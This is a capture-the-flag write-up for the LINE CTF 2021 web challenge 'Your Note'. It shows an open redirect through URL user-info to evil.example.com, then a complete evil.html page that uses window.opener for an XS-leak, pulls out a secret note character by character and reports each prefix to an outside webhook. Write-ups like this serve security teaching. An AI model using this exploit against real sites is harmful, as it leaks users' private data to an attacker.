Rating:

# LINE CTF 2021 - Web - Your Note

## Problem

> Secure private note service

> ※ Admin have disabled some security feature of their browser...
>
> Flag Format: LINECTF{[a-z0-9-]+}
>
> http:// 34.84.243.202

> http:// 35.200.11.35 (mirror)

> http:// 34.84.72.167 (mirror)

## Solution

### Step 1. Redirect to an arbitrary URL

The login API is as follows:
```python
@app.route('/login', methods=['GET', 'POST'])
def login():
url = request.args.get('redirect')
if url:
url = app.config.get('BASE_URL') + url
if current_user.is_authenticated:
return redirect(url)

if request.method == 'POST':
# -- snip --

elif request.method == 'GET':
return render_template('login.html')
```

This API provides a redirect to `app.config.get('BASE_URL') + request.args.get('redirect')`, where `BASE_URL = f"http://{APP_HOST}"`.

Then, if we send `http://34.84.72.167/[email protected]` to the bot, the redirect url is `http://{APP_HOST}@evil.example.com`. So, we can make the bot redirect to an arbitary URL because `{APP_HOST}` is interpreted as a user name in the URL.

### Step 2. Specify the flag with `window.opener`

A part of `crawler.js` is as follows:
```javascript
/* -- snip -- */

const browser = await puppeteer.launch({
args: [
'--no-sandbox',
'--disable-popup-blocking',
],
headless: true,
});
const page = await browser.newPage();

/* -- snip -- */
```

The `--disable-popup-blocking` option enables us to use `window.open`.

So, I prepared the following attack server:

- `index.html`:
```html
<script>
window.open("evil.html");
</script>
```
- `empty.html`:
```html

```
- `evil.html`
```html
<script>
const url = "http://34.84.72.167";
const webhook = "https://{{ ... }}";
const chars = "}-abcdefghijklmnopqrstuvwxyz0123456789";
const sleep = (ms) => new Promise((r) => setTimeout(r, ms));

const main = async () => {
await sleep(200);

window.open(`${webhook}/ping`);

let prefix = "LINECTF{";

while (true) {
if (prefix.endsWith("}")) {
break;
}
window.open(`${webhook}/prefix/${prefix}`);

await sleep(200);
let exists = false;
for (const c of chars) {

window.opener.location.href = `/empty.html`;
await sleep(200);
window.opener.location.href = `${url}/search?q=${prefix + c}&download`;
await sleep(500);

try {
console.log(window.opener.document.body.textContent);
prefix += c;
exists = true;
break;
} catch (e) { }
}
if (!exists) {
window.open(`${webhook}/fail/${prefix}`);
return;
}
}
window.open(`${webhook}/success/${prefix}`);
};
main();
</script>
```

If a user who has a note with a flag `LINECTF{[a-z0-9-]+}` accesses `index.html`, the flag is leaked in order from the first character. This is a XS-leak attack with Cross-Origin-Opener-Policy.

This attack was successful in my local environment. However, unfortunately, because the problem server was unstable, I got the flag by adjusting the sleep times and saving the search range at that point :(

## Flag

`LINECTF{1-kn0w-what-y0u-d0wn10ad}`

Original writeup (https://github.com/x-vespiary/writeup/blob/master/2021/03-line/web-your-note.md).